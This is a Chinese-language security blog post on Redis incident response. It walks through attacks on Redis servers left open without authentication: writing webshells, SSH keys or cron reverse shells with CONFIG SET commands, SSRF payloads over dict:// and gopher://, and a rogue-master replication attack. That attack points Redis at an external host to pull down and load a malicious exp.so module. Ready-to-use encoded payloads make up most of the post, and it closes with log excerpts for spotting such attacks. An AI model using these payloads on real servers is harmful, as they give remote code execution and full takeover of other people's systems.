Redis应急

S1naG0u Lv2

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

知攻知防

redis未授权访问

Redis主要的攻击手法:

防火墙没有配置Redis服务使其直接映射到公网,同时没有开启密码认证(redis.config中设置requirepass),同时高版本没有开启保护模式就会导致redis未授权访问,导致任意用户都可以操作redis服务,也就是redis未授权访问

redis常用命令:

1
2
3
4
5
config set dir /root/redis	设置保存目录
config set dbfilename redis.rdb 设置保存的文件名
config get dir 查看保存目录
config get dbfilename 查看保存的文件名
save 进行一次备份操作

通过未授权访问设置保存目录为web目录设置文件名即可写入shell,设置保存目录为~/ssh设置文件名即可写入ssh密钥链接服务器,设置目录为/var/spool/cron设置文件名即可写入计划任务反弹shell

redis写文件连招:

1
2
3
4
5
redis-cli -h IP															#连接
Redis config set dir /xxx/xxx/xxx #设置要写入的目录
set xxx “\n\n\n<?php phpinfo() ;?>\n\n\n” #设置要写入的内容为xxx键
config set dbfilename filename #设置要写入的文件名
save #保存以写入

当然了一般是不能直接链接成功的需要配合SSRF+伪协议来打

dict

写webshell:

?url=dict://ip:6380/info探测是否设置口令

url=dict://ip:6380/config:set:dir:/var/www/html设置写入文件的位置为web目录

url=dict://ip:6380/config:set:dbfilename:webshell.php设置写入文件的文件名

GET /ssrf/ssrf.php?url=dict://192.168.124.153:6380/set:webshell:”“写入一个含有webshell的键(也就是写入webshell)

Gopher

工具:[https://github.com/firebroo/sec_tools/tree/master/](https://github.com/firebroo/sec_tools/tree/master/)

Gopher+主从复制

主从复制原理: redis 4.x之后更新了新增模块功能,通过外部扩展,可以实现在redis中实现一个新的redis命令,可以通过c语言写一个恶意so让其加载

工具:https://github.com/n0b0dyCN/redis-rogue-server

设置redis备份路径

1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

生成一个exp.so,设置主从关系

1
2
3
4
5
6
7
gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25205i781963p2.yicp.fun%252058265%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof IP 58265
quit

加载模块

1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit

关闭主从同步

1
2
3
4
5
6
gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit

#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit

redis主从复制日志:

日志需手动开启:redis.conf中修改logfile的值修改为"日志路径"

设置主节点:

1
2
3
4
419:S 31 Jul 2023 05:34:33.173 * REPLICAOF 192.168.100.20:8888 enabled (user request from 'id=6 addr=192.168.200.2:64339 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=48 qbuf-free=32720 obl=0 oll=0 omem=0 events=r cmd=slaveof')
419:S 31 Jul 2023 05:34:33.786 * Connecting to MASTER 192.168.100.20:8888
419:S 31 Jul 2023 05:34:33.786 * MASTER <-> REPLICA sync started
#192.168.200.2:64289将192.168.100.20:8888设置为当前redis实例的主节点

成功加载exp.so

1
2
3
4
5
419:S 31 Jul 2023 05:34:35.791 * Connecting to MASTER 192.168.100.20:8888
419:S 31 Jul 2023 05:34:35.791 * MASTER <-> REPLICA sync started
419:S 31 Jul 2023 05:34:35.792 * Non blocking connect for SYNC fired the event.
419:S 31 Jul 2023 05:34:37.205 * Module 'system' loaded from ./exp.so
#链接成功并且加载了/exp.so文件

设置主节点失败(企图攻击)

1
2
3
4
419:S 31 Jul 2023 05:33:15.065 * REPLICAOF 192.168.100.13:8888 enabled (user request from 'id=3 addr=192.168.200.2:64289 fd=7 name= age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=48 qbuf-free=32720 obl=0 oll=0 omem=0 events=r cmd=slaveof')
419:S 31 Jul 2023 05:33:15.610 * Connecting to MASTER 192.168.100.13:8888
419:S 31 Jul 2023 05:33:15.610 * MASTER <-> REPLICA sync started
419:S 31 Jul 2023 05:33:15.611 # Error condition on socket for SYNC: Connection refused
  • 标题: Redis应急
  • 作者: S1naG0u
  • 创建于 : 2025-07-09 10:13:12
  • 更新于 : 2025-08-17 02:25:29
  • 链接: https://s1nag0u.github.io/2025/07/09/Redis应急/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。